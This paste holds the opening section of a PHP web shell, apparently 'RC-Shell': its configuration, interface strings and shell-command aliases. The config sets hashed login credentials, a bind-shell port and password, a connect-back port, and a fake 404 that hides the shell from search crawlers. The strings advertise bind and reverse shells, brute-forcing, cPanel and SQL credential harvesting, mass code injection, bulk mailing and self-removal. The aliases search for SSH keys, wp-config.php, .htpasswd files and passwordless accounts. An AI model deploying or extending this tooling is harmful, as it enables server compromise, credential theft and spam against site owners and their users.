· 9 years ago · Jul 16, 2017, 07:16 PM
1<?php
2$config = array(
3 "version" => "2.0.2011.1009",
4 /* build version. */
5 "auth" => array(
6 "use_auth" => 1,
7 /* bool value, TRUE=[ Ask for login ] / FALSE=[ Don't ask ] */
8 "md5_user" => "63a9f0ea7bb98050796b649e85481845", // root
9 "md5_pass" => "bad5908652c705ebe436af598446a1dd"),// priv8
10 "default_vars" => array(
11 "language" => "en",
12 /* default lang, en=English */
13 "email" => "nope@notsharingmy.info",
14 /* send results from specific tools to this address */
15 "default_sort" => "0a",
16 /* column 0, a=Ascending d=Descending */
17 "default_act" => "tools",
18 /* available: ls, search, upload, cmd, eval, sql, mailer, encoders, tools, processes, sysinfo */
19 "bind_port" => "31337",
20 "bind_pass" => "0wn@g3",
21 "backcon_port" => "31337",
22 "sql_host" => "localhost",
23 "sql_user" => "root",
24 "sql_db" => "mysql",
25 "sql_table" => "users",
26 "ftp_user" => "anonymous",
27 "ftp_pass" => "anonymous@ftp.com",
28 "downloada" => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR",
29 ),
30 "banned" => array("agents" => array(
31 "Google",
32 "Slurp",
33 "MSNBot",
34 "ia_archiver",
35 "Yandex",
36 "Rambler"), /* This agents (matched in regexp) are not allowed */ "send_header" =>
37 'HTTP/1.0 404 Not Found'),
38 /* Will send this header and exit. */
39 "use_buffer" => 1,
40 /* bool value, TRUE=[ Allow copy/paste ], FALSE=[..] */
41 "visual" => array(
42 "width" => "1024",
43 /* Table width in pixels */
44 "images" => 1,
45 /* bool value, TRUE=[ Show icons ] / FALSE=[ Don't show icons ] */
46 "skins" => array("dark", "light"),
47 "default_skin" => "dark",
48 /* Default color skin */
49 "light" => array(
50 "bodybg" => "#717678",
51 "tbarbg1" => "#AAAAAA",
52 "tbarbg2" => "#BFBFBF",
53 "tbarbordert" => "#BBBBBB",
54 "tbarborderb" => "#AAAAAA",
55 "topbg1" => "#BBBBBB",
56 "topbg2" => "#CCCCCC",
57 "topborder1" => "#CDCDCD",
58 "topcolor" => "#333333",
59 "topshadow" => "#DDDDDD",
60 "tlinkcolor" => "#333333",
61 "tlinkshadow" => "#DDDDDD",
62 "tlinkcolorhover" => "#000000",
63 "qlbg1" => "#CCCCCC",
64 "qlbg2" => "#AAAAAA",
65 "qlborder" => "#DDDDDD",
66 "qlcolor" => "#222222",
67 "qlshadow" => "#DDDDDD",
68 "qlcolorhover" => "#000000",
69 "footerbg1" => "#CCCCCC",
70 "footerbg2" => "#AAAAAA",
71 "footerborder1" => "#BBBBBB",
72 "footercolor" => "#333333",
73 "footershadow" => "#DDDDDD",
74 "tablebg" => "#F2F2F2",
75 "tableshadow" => "#666666",
76 "tableborder" => "#777777 ",
77 "errcolor" => "#FF0000",
78 "okcolor" => "#008200",
79 "normalcolor" => "#333333",
80 "dircolor" => "#333333",
81 "fontfam" => "'sans-serif',sans-serif",
82 "fontcolor" => "#525252",
83 "idirborder" => "#2F7595",
84 "idirbg1" => "#93BED7",
85 "idirbg2" => "#63A0C7",
86 "ifileborder" => "#cccccc",
87 "ifilebg1" => "#FFFFFF",
88 "ifilebg2" => "#DDDDDD",
89 "reg_self" => "#7B7869",
90 "reg_interesting" => "#008200",
91 "reg_bad" => "#FF0000",
92 ),
93 "dark" => array(
94 "bodybg" => "#717678",
95 "tbarbg1" => "#141414",
96 "tbarbg2" => "#111111",
97 "tbarbordert" => "#111111",
98 "tbarborderb" => "#000000",
99 "topbg1" => "#111111",
100 "topbg2" => "#222222",
101 "topborder1" => "#222222",
102 "topcolor" => "#CCCCCC",
103 "topshadow" => "#000000",
104 "tlinkcolor" => "#DDDDDD",
105 "tlinkshadow" => "#000000",
106 "tlinkcolorhover" => "#FFFFFF",
107 "qlbg1" => "#222222",
108 "qlbg2" => "#111111",
109 "qlborder" => "#333333",
110 "qlcolor" => "#F3F3F3",
111 "qlshadow" => "#0A0A0A",
112 "qlcolorhover" => "#FFFFFF",
113 "footerbg1" => "#141414",
114 "footerbg2" => "#111111",
115 "footerborder1" => "#333333",
116 "footercolor" => "#CCCCCC",
117 "footershadow" => "#000000",
118 "tablebg" => "#F2F2F2",
119 "tableshadow" => "#444444",
120 "tableborder" => "#666666",
121 "errcolor" => "#FF0000",
122 "okcolor" => "#008200",
123 "normalcolor" => "#333333",
124 "dircolor" => "#333333",
125 "fontfam" => "'sans-serif',sans-serif",
126 "fontcolor" => "#525252",
127 "idirborder" => "#2F7595",
128 "idirbg1" => "#93BED7",
129 "idirbg2" => "#63A0C7",
130 "ifileborder" => "#cccccc",
131 "ifilebg1" => "#FFFFFF",
132 "ifilebg2" => "#DDDDDD",
133 "reg_self" => "#7B7869",
134 "reg_interesting" => "#008200",
135 "reg_bad" => "#FF0000",
136 ),
137 ),
138 "reg_interesting" => array("d" => array('backup', 'admin'),
139 /* highlight interesting dirs */ "f" => array(
140 'conf(.*)\.php$',
141 '\.sql$',
142 '\.db$',
143 'auth(.*)\.php$') /* highlight interesting files */ ),
144 "reg_bad" => array("d" => array('root'), /* highlight bad dirs */ "f" => array('iptables',
145 'ipchains') /* highlight bad files */ ),
146 );
147
148$lang["en"] = array(
149 "0" => "AUTHENTICATION REQUIRED",
150 "1" => "USER",
151 "2" => "PASS",
152 "3" => "Connect",
153 "4" => "SERVER WHOIS",
154 "5" => "TRACEROUTE",
155 "6" => "SELF REMOVE",
156 "7" => "LOGOUT",
157 "8" => "SYS",
158 "9" => "KERNEL",
159 "10" => "DISK TOTAL/FREE",
160 "11" => "WEB SOFTWARE",
161 "12" => "SAFE MODE",
162 "13" => "OPEN BASEDIR",
163 "14" => "CURL",
164 "15" => "MYSQL",
165 "16" => "MSSQL",
166 "17" => "ORACLE",
167 "18" => "POSTGRESQL",
168 "19" => "ON",
169 "20" => "OFF",
170 "21" => "YES",
171 "22" => "NO",
172 "23" => "BACK",
173 "24" => "FILES",
174 "25" => "SEARCH",
175 "26" => "UPLOAD",
176 "27" => "CMD",
177 "28" => "EVAL",
178 "29" => "SQL",
179 "30" => "MAILERS",
180 "31" => "CALC",
181 "32" => "TOOLS",
182 "33" => "PROC",
183 "34" => "SYSINFO",
184 "35" => "FILE",
185 "36" => "DIR",
186 "37" => "Show All",
187 "38" => "Dirs",
188 "39" => "Files",
189 "40" => "Archives",
190 "41" => "Exes",
191 "42" => "PHP",
192 "43" => "Html",
193 "44" => "Text",
194 "45" => "Images",
195 "46" => "Other",
196 "47" => "Show Icons",
197 "48" => "Hide Icons",
198 "49" => "Enable Buffer",
199 "50" => "Disable Buffer",
200 "51" => "Empty Buffer",
201 "52" => "Show Buffer",
202 "53" => "Hide Buffer",
203 "54" => "Paste Copy",
204 "55" => "Paste Cut",
205 "56" => "Paste All",
206 "57" => "Name",
207 "58" => "Size",
208 "59" => "Modified",
209 "60" => "Owner/Group",
210 "61" => "Perms",
211 "62" => "Action",
212 "63" => "Select All",
213 "64" => "None",
214 "65" => "Inverse",
215 "66" => "With Selected",
216 "67" => "Copy",
217 "68" => "Cut",
218 "69" => "Unset Copy",
219 "70" => "Unset Cut",
220 "71" => "Unset All",
221 "72" => "Delete",
222 "73" => "Rename",
223 "74" => "Functions",
224 "75" => "Edit",
225 "76" => "Download",
226 "77" => "Confirm",
227 "78" => "VIEWING FILE:",
228 "79" => "Text",
229 "80" => "Code",
230 "81" => "Html",
231 "82" => "Html-NoJS",
232 "83" => "Execute",
233 "84" => "Session",
234 "85" => "Sdb",
235 "86" => "INI",
236 "87" => "Image",
237 "88" => "Hexdump",
238 "89" => "Browser Default",
239 "90" => "STRING CONVERSIONS",
240 "91" => "FUNCTION",
241 "92" => "Submit",
242 "93" => "CHANGE FILE'S PERMISSIONS:",
243 "94" => "Owner",
244 "95" => "Group",
245 "96" => "World",
246 "97" => "Read",
247 "98" => "Write",
248 "99" => "Execute",
249 "100" => "Chmod",
250 "101" => "OR ENTER VALUE",
251 "102" => "OUTPUT",
252 "103" => "CHANGE FILE'S TIMESTAMP",
253 "104" => "COPY FROM FILE/DIR",
254 "105" => "SET TIME MANUALLY",
255 "106" => "Month",
256 "107" => "Day",
257 "108" => "Year",
258 "109" => "Hour",
259 "110" => "Min",
260 "111" => "Sec",
261 "112" => "Change",
262 "113" => "Timestamp changed to [%1%]",
263 "114" => "Failed to change timestamp",
264 "115" => "REPLACE",
265 "116" => "WITH",
266 "117" => "Replace",
267 "118" => "Reset",
268 "119" => "Save",
269 "120" => "PROGRAM LINE",
270 "121" => "Full Hexdump",
271 "122" => "Hexdump Preview",
272 "123" => "CHANGE DIR'S PERMISSIONS:",
273 "124" => "CHANGE DIR'S TIMESTAMP:",
274 "125" => "BYPASS RESTRICTIONS - LIST DIR",
275 "126" => "DIR TO LIST",
276 "127" => "List Dir",
277 "128" => "BYPASS RESTRICTIONS - READ FILE",
278 "129" => "FILE TO READ",
279 "130" => "Read File",
280 "131" => "BYPASS RESTRICTIONS - READ FILE VIA SQL",
281 "132" => "USERNAME",
282 "133" => "PASSWORD",
283 "134" => "PORT",
284 "135" => "DATABASE",
285 "136" => "[-] ERROR! Can't select database",
286 "137" => "[-] ERROR! Can't connect to [%1%] server",
287 "138" => "BYPASS RESTRICTIONS - WRITE FILE",
288 "139" => "FILE TO WRITE",
289 "140" => "FILE CONTENT",
290 "141" => "Write File",
291 "142" => "SEARCH FOR FILES AND DIRS USING PHP",
292 "143" => "NAME/FIND/RECURSIVE",
293 "144" => "Files",
294 "145" => "Dirs",
295 "146" => "Both",
296 "147" => "Search",
297 "148" => "use regexp on name",
298 "149" => "SEARCH IN DIR",
299 "150" => "FIND TEXT IN FILE",
300 "151" => "use regexp on text",
301 "152" => "whole words only",
302 "153" => "case sensitive",
303 "154" => "files not containing the text",
304 "155" => "SEARCH TEXT IN FILES USING FIND",
305 "156" => "TEXT TO FIND",
306 "157" => "FIND IN FILES",
307 "158" => "DEFINED/SEARCH IN",
308 "159" => "show in file manager",
309 "160" => "NOTHING FOUND",
310 "161" => "UPLOAD LOCAL FILE",
311 "162" => "LOCAL FILE",
312 "163" => "OPTIONAL RENAME",
313 "164" => "UPLOAD PATH",
314 "165" => "FILE LOCATION",
315 "166" => "MULTIPLE FILES",
316 "167" => "UPLOAD FILE FROM REMOTE URL",
317 "168" => "UPLOAD MULTIPLE FILES",
318 "169" => "Form",
319 "170" => "Upload",
320 "171" => "Invalid file location: [%1%]",
321 "172" => "Error uploading [%1%] (Can't move [%2%] to [%3%]",
322 "173" => "File [%1%] uploaded to [%2%]",
323 "174" => "Can't download file!",
324 "175" => "Can't write to [%1%]",
325 "176" => "File uploaded to [%1%]",
326 "177" => "SEND FILE TO E-MAIL",
327 "178" => "SEND TO",
328 "179" => "Send",
329 "180" => "COMMAND",
330 "181" => "DEFINED",
331 "182" => "EXECUTE PHP CODE",
332 "183" => "Execute PHP Code",
333 "184" => "Display Result in Textarea",
334 "185" => "FTP MANAGER",
335 "186" => "HOST:PORT",
336 "187" => "USER",
337 "188" => "PASS",
338 "189" => "Connect",
339 "190" => "Passive",
340 "191" => "Can't connect",
341 "192" => "PHP-SHELL",
342 "193" => "FTP",
343 "194" => "NEW DIR",
344 "195" => "Create",
345 "196" => "Disconnect",
346 "197" => "Upload",
347 "198" => "Download",
348 "199" => "Delete",
349 "200" => "DOWNLOAD FILE FROM REMOTE FTP",
350 "201" => "UPLOAD FILE TO REMOTE FTP",
351 "202" => "HOST:PORT",
352 "203" => "USER:PASS",
353 "204" => "FILE ON FTP",
354 "205" => "LOCAL FILE",
355 "206" => "Upload File",
356 "207" => "Download File",
357 "208" => "File uploaded.",
358 "209" => "Can't upload file.",
359 "210" => "File downloaded.",
360 "211" => "Can't download file.",
361 "212" => "PHP SIMPLE MAILER",
362 "213" => "PHP CSV MAILER",
363 "214" => "FROM NAME",
364 "215" => "FROM E-MAIL",
365 "216" => "E-MAIL SUBJECT",
366 "217" => "REPLACE",
367 "218" => "WITH",
368 "219" => "IN",
369 "220" => "E-MAIL COL",
370 "221" => "COL PREFIX",
371 "222" => "REPLACE IN",
372 "223" => "Select Value",
373 "224" => "From Name",
374 "225" => "From E-mail",
375 "226" => "Receiver's E-mail",
376 "227" => "Receiver's E-mail - hash",
377 "228" => "Subject",
378 "229" => "Message",
379 "230" => "Subject and Message",
380 "231" => "Random \"FROM E-MAIL\" usernames",
381 "232" => "Random Message-ID domains",
382 "233" => "Send E-mails",
383 "234" => "Preview (Don't send)",
384 "235" => "Show replaced values",
385 "236" => "INCOMPLETE DATA",
386 "237" => "NO",
387 "238" => "RECEIVER",
388 "239" => "SENDER",
389 "240" => "MESSAGE-ID",
390 "241" => "STATUS",
391 "242" => "REPLACING",
392 "243" => "Success",
393 "244" => "Failed",
394 "245" => "Test",
395 "246" => "HASH TYPE",
396 "247" => "ENTER HASH",
397 "248" => "Submit",
398 "249" => "Calculate",
399 "250" => "Clear Input",
400 "251" => "POSSIBLE",
401 "252" => "Link",
402 "253" => "IP ADDRESS ENCODER",
403 "254" => "ENTER IP",
404 "255" => "LONG IP",
405 "256" => "HEX IP",
406 "257" => "OCTAL IP",
407 "258" => "SELECT HASH",
408 "259" => "ENTER INPUT",
409 "260" => "All",
410 "261" => "HASH OUTPUT",
411 "262" => "STRING CONVERSIONS OUTPUT",
412 "263" => "Clear Output",
413 "264" => "Send Output to Input",
414 "265" => "BIND SHELL",
415 "266" => "CONNECT BACK",
416 "267" => "PASS:PORT:SRC",
417 "268" => "Bind",
418 "269" => "Found [%1%] of our backdoor tools in tempdir. Consider deleting tools after using them. ",
419 "270" => "Delete Now",
420 "271" => "Can't write sources!",
421 "272" => "Unknown file!",
422 "273" => "Executed. Can't connect to [%1%]!",
423 "274" => "OK! Connect to [%1%]:[%2%]!",
424 "275" => "Port [%1%] already in use!",
425 "276" => "OK! The script is now connecting to [%1%]:[%2%]",
426 "277" => "PORTSCAN",
427 "278" => "HOST:PORT RANGE",
428 "279" => "Scan",
429 "280" => "VALID RANGE 0-65535",
430 "281" => "PHP-SHELL HUNTER",
431 "282" => "ACTION:RECURSIVE",
432 "283" => "FUNCTION:START PATH",
433 "284" => "View known shells only",
434 "285" => "View known shells + possible",
435 "286" => "Overwrite known shells with RC-Shell",
436 "287" => "Overwrite all with RC-Shell",
437 "288" => "PHP-SHELL RESULTS",
438 "289" => "PORTSCAN RESULT",
439 "290" => "Owned",
440 "291" => "Can't own it",
441 "292" => "FILE NAME",
442 "293" => "SHELL TYPE OR VERSION",
443 "294" => "EXTERNAL LINK",
444 "295" => "FILE ACTIONS / OVERWRITE",
445 "296" => "View in Browser",
446 "297" => "RC-OVERWRITE",
447 "298" => "CPANEL / PASSWORD FINDER",
448 "299" => "HOST:USER:SERVICE",
449 "300" => "FILES:METHOD:RECURSIVE",
450 "301" => "FUNCTION:DEFINED PATH",
451 "302" => "SEND LOG TO",
452 "303" => "Don't login (create passfile)",
453 "304" => "user + DEFINED PATH",
454 "305" => "user + DOCUMENT ROOT",
455 "306" => "/etc/passwd + USER HOMES",
456 "307" => "Find Passwords",
457 "308" => "CPANEL / PASSWORD FINDER RESULTS",
458 "309" => "MASS CODE INJECTOR",
459 "310" => "FILES:POS:RECURSIVE",
460 "311" => "FUNCTION:START IN PATH",
461 "312" => "CODE TO INJECT",
462 "313" => "Inject Files",
463 "314" => "CODE INJECTED IN FILES BELOW",
464 "315" => "FIND SQL CREDENTIALS",
465 "316" => "USER NAME:TYPE",
466 "317" => "PASS NAME:TYPE",
467 "318" => "DB NAME:TYPE",
468 "319" => "HOST NAME:TYPE",
469 "320" => "*SOFTWARE:PASSWORD",
470 "321" => "FILES:WHERE:RECURSIVE",
471 "322" => "FUNCTION:DEFINED PATH",
472 "323" => "Find Credentials",
473 "324" => "MySQL Test",
474 "325" => "DEFINED PATH",
475 "326" => "DOCUMENT ROOT",
476 "327" => "USER HOMES",
477 "328" => "required",
478 "329" => "optional",
479 "330" => "SQL CREDENTIALS",
480 "331" => "HOST",
481 "332" => "USER",
482 "333" => "PASS",
483 "334" => "DATABASE",
484 "335" => "ACTION",
485 "336" => "MySQL Connect",
486 "337" => "BRUTEFORCE / DICTIONARY ATTACK",
487 "338" => "HOST:PORT:SERVICE",
488 "339" => "USERNAME:DATABASE",
489 "340" => "DICTIONARY",
490 "341" => "TEST METHOD",
491 "342" => "ALSO TEST",
492 "343" => "username and dictionary",
493 "344" => "/etc/passwd (user:user)",
494 "345" => "/etc/passwd and dictionary",
495 "346" => "Start Bruteforce",
496 "347" => "[%1%] BRUTEFORCE RESULT",
497 "348" => "SYSTEM PROCESSES",
498 "349" => "SENDING SIGNAL [%1%] TO #[%2%].. ",
499 "350" => "KILLED",
500 "351" => "CAN'T KILL IT",
501 "352" => "Databases",
502 "353" => "Query",
503 "354" => "Extract E-mails",
504 "355" => "Server Status",
505 "356" => "Server Variables",
506 "357" => "Processes",
507 "358" => "Disconnect",
508 "359" => "DATABASES",
509 "360" => "Database Name",
510 "361" => "Size",
511 "362" => "Tables",
512 "363" => "Database Actions",
513 "364" => "DATABASE",
514 "365" => "TABLE",
515 "366" => "DATABASE [%1%]",
516 "367" => "Databases ([%1%])",
517 "368" => "Table Name",
518 "369" => "Table Actions",
519 "370" => "SQL QUERY",
520 "371" => "Submit Query",
521 "372" => "EXTRACT E-MAILS",
522 "373" => "SEARCH TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL",
523 "374" => "FILE NAME",
524 "375" => "SAVE E-MAILS TO FILE",
525 "376" => "DOWNLOAD RESULTS",
526 "377" => "Extract E-mails",
527 "378" => "SERVER STATUS",
528 "379" => "SERVER VARIABLES",
529 "380" => "Name",
530 "381" => "Value",
531 "382" => "PROCESSES",
532 "383" => "ID",
533 "384" => "USER",
534 "385" => "HOST",
535 "386" => "DATABASE",
536 "387" => "COMMAND",
537 "388" => "TIME",
538 "389" => "STATE",
539 "390" => "INFO",
540 "391" => "ACTION",
541 "392" => "KILL",
542 "393" => "PROCESS #[%1%] KILLED",
543 "394" => "QUERY RESULT",
544 "395" => "BROWSING TABLE [%1%] ( [%2%] cols and [%3%] rows )",
545 "396" => "Previous",
546 "397" => "Page",
547 "398" => "Go",
548 "399" => "Next",
549 "400" => "INSERT INTO TABLE [%1%]",
550 "401" => "Field",
551 "402" => "Type",
552 "403" => "Function",
553 "404" => "Value",
554 "405" => "Insert as new row",
555 "406" => "or",
556 "407" => "Save",
557 "408" => "Confirm",
558 "409" => "TOTAL DATABASES [%1%]",
559 "410" => "QUICK SQL TABLE DUMP",
560 "411" => "SQL TYPE",
561 "412" => "HOST:PORT",
562 "413" => "USER:PASS",
563 "414" => "DB.TABLE",
564 "415" => "FILE NAME",
565 "416" => "DOWNLOAD RESULTS",
566 "417" => "SAVE DUMP TO FILE",
567 "418" => "Dump",
568 "419" => "Can't connect to SQL server",
569 "420" => "QUICK SQL QUERY",
570 "421" => "DB",
571 "422" => "Query",
572 "423" => "QUERY #[%1%] : [%2%]",
573 "424" => "NONE",
574 "425" => "Chdir",
575 "426" => "Total: [%1%]",
576 "427" => "Success: [%1%]",
577 "428" => "Failed: [%1%]",
578 "429" => "Used: [%1%]",
579 "430" => "Not Available",
580 "431" => "The following e-mails were not sent",
581 "432" => "HASH CALCULATOR",
582 "433" => "STRING CONVERSIONS",
583 "434" => "HOST:PORT:SRC",
584 "435" => "Connect",
585 "436" => "Find Shells",
586 "437" => "DO YOU REALLY WANT TO DROP DATABASE \"[%1%]\" ? ",
587 "438" => "DO YOU REALLY WANT TO DROP TABLE \"[%1%]\" ? ",
588 "439" => "DO YOU REALLY WANT TO EMPTY TABLE \"[%1%]\" ? ",
589 "440" => "SQL DUMP",
590 "441" => "DATABASE",
591 "442" => "DUMP TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL",
592 "443" => "FILE NAME",
593 "444" => "SAVE DUMP TO FILE",
594 "445" => "DOWNLOAD RESULTS",
595 "446" => "Dump",
596 "447" => "Can't select database",
597 "448" => "Nothing to dump",
598 "449" => "Dumped to [%1%]",
599 "450" => "Can't write to file.",
600 "451" => "SQL MANAGER",
601 "452" => "HOST:PORT",
602 "453" => "USER",
603 "454" => "PASS",
604 "455" => "DB",
605 "456" => "TYPE",
606 "457" => "Connect",
607 "458" => "Can't create dump",
608 "459" => "Dumped",
609 "460" => "SELF REMOVE",
610 "461" => "DO YOU REALLY WANT TO DELETE ME? ",
611 "462" => "GOOD BYE",
612 "463" => "Can't delete [%1%]",
613 "464" => "CAN'T LIST [%1%]",
614 "465" => "Free: [%1%]",
615 "466" => "FILE [%1%] DOESNT EXIST.",
616 "467" => "YOU ARE TRYING TO OPEN A DIRECTORY AS A FILE ([%1%])",
617 "468" => "TARGET ALREADY EXISTS (DIRECTORY [%1%])",
618 "469" => "FILE NOT SPECIFIED",
619 "470" => "Return",
620 "471" => "Your browser doesnt support iframes.",
621 "472" => " (CWD SPECIFIED AS A FILE)",
622 "473" => "RENAME [%1%]",
623 "474" => "RENAMED TO [%1%]",
624 "475" => "CANNOT RENAME [%1%]",
625 "476" => "EXTRACTED ZIP ARCHIVE [%1%]",
626 "477" => "CANNOT EXTRACT [%1%]",
627 "478" => "Extract [%1%]",
628 "479" => "GENERAL INFORMATION",
629 "480" => "PHP INFORMATION",
630 "481" => "OTHER USEFULL STUFF",
631 "482" => "Interesting files",
632 "483" => "Interesting configs",
633 "484" => "Interesting bins",
634 "485" => "Scripting languages",
635 "486" => "PAGE GENERATED IN [%1%] SECONDS",
636 "undefined" => "?",
637 );
638
639$winaliases = array(
640 '' => 'dir',
641 '- show open ports' => 'netstat -na',
642 '- running programs' => 'tasklist -v',
643 '- running services' => 'net start',
644 '- show users' => 'net user',
645 '- show computers' => 'net view',
646 '- arp table' => 'arp -a',
647 '- ip config' => 'ipconfig /all',
648 '- mac address' => 'getmac',
649 '- systeminfo' => 'systeminfo',
650 '- file associations' => 'assoc');
651
652$nixaliases = array(
653 '' => 'ls -la',
654 'console downloaders' => 'which wget GET ftp curl w3m lynx',
655 'cpu info' => 'cat /proc/version /proc/cpuinfo',
656 'gcc compiler' => 'locate gcc',
657 'logged in users' => 'w',
658 'active users (from lastlog)' => 'lastlog|grep -v \'\\*\\*\'',
659 'last logins (last -a)' => 'last -a',
660 'users without password' => 'cut -d: -f1,2,3 /etc/passwd | grep ::',
661 'list file attributes' => 'lsattr -va',
662 'show open ports (from netstat)' => 'netstat -nat | grep -i listen',
663 'active connections (from lsof)' => 'lsof -i'
664 );
665
666$findaliases = array(
667 'find suid files' => 'find %path% -type f -perm -04000 -ls 2>/dev/null',
668 'find sgid files' => 'find %path% -type f -perm -02000 -ls 2>/dev/null',
669 'find writable dirs' => 'find %path% -perm -2 -type d -ls 2>/dev/null',
670 'find writable files' => 'find %path% -perm -2 -type f -ls 2>/dev/null',
671 'find writable links' => 'find %path% -perm -2 -type l -ls 2>/dev/null',
672 'find writable dirs/files/links' => 'find %path% -perm -2 -ls 2>/dev/null',
673 'find config* files' => 'find %path% -type f -name \'config*\'',
674 'find config.php files' => 'find %path% -type f -name config.php',
675 'find config.inc.php files' => 'find %path% -type f -name config.inc.php',
676 'find service.pwd files' => 'find %path% -type f -name service.pwd',
677 'find .htpasswd files' => 'find %path% -type f -name .htpasswd',
678 'find .bash history' => 'find %path% -type f -name .bash_history',
679 'find .mysql history' => 'find %path% -type f -name .mysql_history',
680 'find fetchmailrc' => 'find %path% -type f -name .fetchmailrc',
681 'find config files' => "find %path% -name authorized_keys -o -name id_rsa -o -name id_rsa.pub -o -name known_hosts -o -name conf_global.php -o -name conf.php -o -name config.php -o -name wp-config.php -o -name config.inc.php -o -name connect.php -o -name configuration.php -o -name configure.php -o -name conf_global.php -o -name functions.php -o -name var.php -o -name sql.php -o -name db.php -o -name dbc.php -o -name db-conn.php -o -name e107_config.php -o -name security.php -o -name settings.php -o -name mk_conf.php -o -name service.pwd -o -name .htpasswd -o -name .bash_history -o -name .bashrc -o -name .profile -type f 2>&1 | grep -v ': Permission denied'",
682 'find php files' => 'find %path% -name .php'
683 );
684
685$filealiases = array(
686 'html' => array(
687 'html',
688 'htm',
689 'shtml'),
690 'text' => array(
691 'html',
692 'htm',
693 'shtml',
694 'css',
695 'js',
696 'txt',
697 'conf',
698 'bat',
699 'bak',
700 'doc',
701 'log',
702 'sfc',
703 'cfg',
704 'readme',
705 'todo',
706 'changelog',
707 'makefile',
708 'cmake',
709 'copying',
710 'authors',
711 'motd',
712 'news',
713 'install',
714 'about',
715 'htaccess'),
716 'exe' => array(
717 'sh',
718 'bat',
719 'cmd',
720 'exe',
721 'pl',
722 'py'),
723 'ini' => array('ini', 'inf'),
724 'code' => array(
725 'php',
726 'phtml',
727 'php3',
728 'php4',
729 'php5',
730 'pl',
731 'cgi',
732 'c',
733 'cc',
734 'cpp',
735 'h',
736 'hpp',
737 'icl',
738 'ipp'),
739 'img' => array(
740 'gif',
741 'png',
742 'jpeg',
743 'jfif',
744 'jpg',
745 'jpe',
746 'bmp',
747 'ico',
748 'tif',
749 'tiff'),
750 'sdb' => array('sdb'),
751 'sess' => array('sess'),
752 'download' => array(
753 'sql',
754 '3g2',
755 '3ga',
756 '3gp',
757 '3gpp',
758 '669',
759 '7z',
760 'aac',
761 'ac3',
762 'ace',
763 'aif',
764 'aifc',
765 'aiff',
766 'amr',
767 'ape',
768 'arj',
769 'asf',
770 'asx',
771 'au',
772 'avi',
773 'awb',
774 'axa',
775 'axv',
776 'bdm',
777 'bdmv',
778 'bz',
779 'bz2',
780 'cab',
781 'clpi',
782 'com',
783 'cpi',
784 'doc',
785 'dot',
786 'divx',
787 'dmg',
788 'dv',
789 'exe',
790 'fla',
791 'flac',
792 'flc',
793 'fli',
794 'flv',
795 'gsm',
796 'gz',
797 'iso',
798 'it',
799 'kar',
800 'lha',
801 'lnk',
802 'lzh',
803 'm15',
804 'm2t',
805 'm2ts',
806 'm3u',
807 'm3u8',
808 'm4a',
809 'm4b',
810 'm4v',
811 'med',
812 'mid',
813 'midi',
814 'minipsf',
815 'mka',
816 'mkv',
817 'mng',
818 'mo3',
819 'mod',
820 'moov',
821 'mov',
822 'movie',
823 'mp+',
824 'mp2',
825 'mp3',
826 'mp4',
827 'mpc',
828 'mpe',
829 'mpeg',
830 'mpg',
831 'mpga',
832 'mpl',
833 'mpls',
834 'mpp',
835 'mtm',
836 'mts',
837 'nrg',
838 'nsv',
839 'oga',
840 'ogg',
841 'ogm',
842 'ogv',
843 'pbk',
844 'pif',
845 'pla',
846 'pls',
847 'psf',
848 'psflib',
849 'psid',
850 'qt',
851 'qtvr',
852 'r00',
853 'ra',
854 'rar',
855 'rax',
856 'rv',
857 'rvx',
858 's3m',
859 'sid',
860 'snd',
861 'spx',
862 'src',
863 'stm',
864 'swf',
865 'tar',
866 'tbz',
867 'tbz2',
868 'tgz',
869 'ts',
870 'tta',
871 'ult',
872 'uni',
873 'uu',
874 'uuf',
875 'viv',
876 'vivo',
877 'vlc',
878 'vob',
879 'voc',
880 'wav',
881 'wax',
882 'wma',
883 'wmv',
884 'wmx',
885 'wri',
886 'wv',
887 'xla',
888 'xlc',
889 'xld',
890 'xlsb',
891 'xll',
892 'xlm',
893 'xls',
894 'xlt',
895 'xlsm',
896 'xlw',
897 'xltm',
898 'wvc',
899 'wvp',
900 'wvx',
901 'xi',
902 'xm',
903 'xmf',
904 'xxe',
905 'zip'));
906
907$execaliases = array(
908 'sh %f%' => array('sh'),
909 'perl %f%' => array('pl', 'cgi'),
910 'python %f%' => array('py'),
911 'php %f%' => array(
912 'php',
913 'php3',
914 'php4',
915 'php5'));
916
917$getaliases = array(
918 'wget' => '[%1%] [%2%] -O [%3%]',
919 'fetch' => '[%1%] -p [%2%] -o [%3%]',
920 'lynx' => '[%1%] -source [%2%] > [%3%]',
921 'links' => '[%1%] -source [%2%] > [%3%]',
922 'GET' => '[%1%] [%2%] > [%3%]',
923 'curl' => '[%1%] [%2%] -o [%3%]');
924
925$index = array(
926 "xls" => array(
927 'xla',
928 'xlc',
929 'xld',
930 'xlsb',
931 'xll',
932 'xlm',
933 'xls',
934 'xlt',
935 'xlsm',
936 'xlw',
937 'xltm'),
938 "pl" => array("pl", "cgi"),
939 "diz" => array("diz", "inf"),
940 "h" => array("h", "hpp"),
941 "iso" => array(
942 "iso",
943 "nrg",
944 "dmg"),
945 "tar" => array(
946 "tar",
947 "r00",
948 "ace",
949 "arj",
950 "bz",
951 "bz2",
952 "tbz",
953 "tbz2",
954 "tgz",
955 "uu",
956 "xxe",
957 "zip",
958 "cab",
959 "gz",
960 "lha",
961 "lzh",
962 "pbk",
963 "rar",
964 "uuf",
965 "7z"),
966 "php" => array(
967 "php",
968 "php3",
969 "php4",
970 "php5",
971 "phtml",
972 "shtml"),
973 "jpg" => array(
974 "jpg",
975 "gif",
976 "png",
977 "jpeg",
978 "jfif",
979 "jpe",
980 "bmp",
981 "ico",
982 "tif",
983 "tiff"),
984 "html" => array(
985 "html",
986 "htm",
987 "asp",
988 "xhtml"),
989 "avi" => array(
990 'ogm',
991 'mpeg',
992 'bdmv',
993 'qtvr',
994 'ogv',
995 'cpi',
996 'm2ts',
997 'movie',
998 'asf',
999 'mpls',
1000 'mkv',
1001 'avi',
1002 'rvx',
1003 'qt',
1004 'mp2',
1005 'mp4',
1006 'divx',
1007 'mng',
1008 'axv',
1009 'rv',
1010 'mov',
1011 'moov',
1012 'mpe',
1013 'mpl',
1014 'mpg',
1015 'ts',
1016 'nsv',
1017 '3g2',
1018 '3ga',
1019 'mts',
1020 'm2t',
1021 '3gp',
1022 '3gpp',
1023 'vivo',
1024 'm4v',
1025 'flc',
1026 'bdm',
1027 'fli',
1028 'viv',
